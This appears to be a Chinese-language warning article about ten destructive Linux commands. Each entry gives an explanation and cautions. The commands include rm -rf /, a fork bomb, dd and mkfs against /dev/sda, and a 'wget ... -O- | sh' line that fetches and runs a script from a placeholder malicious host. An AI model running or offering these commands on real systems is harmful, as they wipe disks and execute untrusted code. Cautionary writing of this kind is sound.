
Linux命令行这东西,用好了是神器,用砸了就是自爆按钮。尤其是当你还没搞清楚自己在敲什么的时候,一个回车下去,可能连后悔的机会都没有。
下面这十条命令,强烈建议你只看看,别手痒去试——至少在虚拟机上过把瘾就行,别碰生产环境。
另外,这些命令绝大多数需要root权限才能真正“作死”,普通用户身份下,最多也就毁掉自己的小天地,系统还是能保住的。
1. rm -rf 命令
这是删除文件夹及其内容最快的途径之一,但也是翻车率最高的操作——敲错一个字符或者一时犯糊涂,就能让系统彻底崩掉。
来看看rm命令的几个常用选项:
- rm:普通删除文件。
- rm -r:递归删除文件夹,哪怕是空目录也不放过。
- rm -f:强制删除,不询问。“只读文件”在Linux面前就是个笑话——删除文件只看父目录的写权限,文件本身的权限挡不住。这个-f的作用就是跳过所有确认提醒,一声不吭全干掉。
- rm -rf /:强制删除根目录下的一切。
- rm -rf *:强制删除当前目录所有文件。
- rm -rf .:强制删除当前文件夹及其子文件夹。
以后敲rm -rf之前,务必多看一眼。可以在~/.bashrc里给rm加上-i别名(很多发行版已经默认做了),这样每次删除都会弹出确认提示。当然,如果你用了-f,那就相当于自己关掉了这层保护。记住,没有后悔药。
2. :(){ :|:& };: 命令
这就是个经典的fork冲击波。它定义了一个叫“:”的函数,函数里调用自己两次——一次在前台,一次扔到后台。然后它就像癌细胞一样疯狂复制,直到系统资源被榨干、死机。
3. 命令 > /dev/sda
这条命令把某个命令的输出直接写到块设备/dev/sda上。写入的原始数据会覆盖掉整个块设备原有的所有数据,结果就是——整块硬盘的数据瞬间蒸发。千万别手滑。
4. mv 文件夹 /dev/null
把某个文件夹移动/dev/null。在Linux里,/dev/null是一个特殊的“黑洞”文件,任何写入它的数据都会消失不见,系统还会告诉你“写入成功”。不过要说明的是,这个操作并不能阻止数据恢复软件——想让数据彻底消失,还需要专门的覆写工具。当然,直接这么干已经足够让文件夹里的东西“人间蒸发”了。
5. wget https://malicious_source -O- | sh
这条命令会从一个恶意源下载脚本并立即执行。wget负责下载,sh负责无条件执行。问题在于,你根本不知道下载下来的脚本里藏着什么——可能是勒索病毒,也可能是后门。永远只从可信来源下载和运行脚本,这是底线。
6. mkfs.ext3 /dev/sda
这条命令会格式化块设备sda。一旦执行,整个硬盘(或者说块设备)就被清空了,系统直接进入不可恢复的状态。通常我们不会直接操作/dev/sda这样的裸设备,而是先分区成sda1、sda2再用。但无论你格式化的是sda还是sda1,结果都一样:上面所有数据灰飞烟灭。
7. > file
这个命令用清空文件内容或者记录命令输出。但在执行之前,一定要确认目标文件是空的你就是要清空它——否则原来的文件就再也找不回来了,连数据恢复软件也束手无策。可能你想要的是“>>”(追加写入)而不是“>”(覆盖)。一个手滑写成“> xt.conf”,就能把系统配置文件覆盖掉,到时候哭都来不及。
8. ^foo^bar
这个命令用来快速替换上一条命令中的字符串并重新执行,省去了重新打一遍的麻烦。但如果你没有仔细检查替换后的结果就跑,很容易出大问题。比如想用“bar”替换“foo”,结果不小心替换了不该替换的东西,或者原命令本就危险,替换后依然危险。
9. dd if=/dev/random of=/dev/sda
这条命令会用/dev/random产生的随机垃圾数据覆盖块设备sda,擦除所有原有数据,让系统陷入混乱甚至不可恢复。前面提到过,mv到/dev/null并不能彻底删除数据,而dd if=/dev/random of=/dev/sda就是彻底擦除的经典做法——如果想更保险,可以反复覆写多次。当然,这招请务必用在你想销毁的存储设备上,千万别对着系统盘玩。
10. 隐藏命令
本质上就是第一个命令(rm -rf),只不过代码被隐藏在十六进制或者某种混淆形式里。无知的用户可能被欺骗,在终端里运行一段看起来很酷的“代码”,结果直接擦除了根分区。真正的危险往往藏在你看不懂的字符串后面。切记:不要编译或运行任何来源不明的代码。

以上十条命令,每一条都能让你的Linux系统瞬间变砖。如果想玩,建议在虚拟机里折腾,或者干脆只当知识储备。毕竟,数据无价,系统无价,手滑一次,悔恨一生。
